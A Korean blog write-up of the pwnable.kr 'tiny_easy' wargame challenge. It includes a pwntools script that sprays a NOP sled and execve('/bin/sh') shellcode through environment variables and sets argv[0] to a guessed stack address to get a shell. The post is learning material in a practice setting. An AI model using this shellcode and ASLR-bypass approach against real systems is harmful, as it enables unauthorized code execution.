file tiny_easy의 결과값이 간단히 나오고 용량도 상당히 작다.
readelf를 이용해서 entrypoint를 확인하고
gdb로 코드를 확인하면
pop eax
pop edx
mov edx, DWORT PTR[edx]
call edx
가 전부이고 call edx에서 crash가 나면서 프로그램이 뻗는다.
몇 번 확인해본 결과 edx의 값이 argv[0]으로 들어가는 프로그램 절대 경로이다.
절대 경로에다가 스택 값을 주고
ASLR을 뚫고 스택에 올린 쉘 코드로 점프시키면 쉘을 얻을 수 있다.
조금이라도 쉽게 올라가기 위해 nop sled를 이용한다.
from pwn import *
payload = '\x90'*0x1000 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'
m_env = {}
m_argv = ['\x77\x77\xdf\xff']
for i in range(1, 10):
m_env[str(i)] = payload
p = process(executable='/home/tiny_easy/tiny_easy', argv=m_argv ,env=m_env)
p.interactive()
금방 flag를 찾았는데 for문이랑 try catch를 써서 하는 게 더 한방 코드..
지적 환영, 배우는 중
'Pwnable.kr' 카테고리의 다른 글
Pwnable.kr[loveletter] (0) | 2019.09.22 |
---|---|
Pwnable.kr[fix] (0) | 2019.09.15 |
Pwnable.kr[echo1] (0) | 2019.09.14 |
Pwnable.kr[ascii_easy] (0) | 2019.09.14 |
Pwnable.kr [fsb] (0) | 2019.05.21 |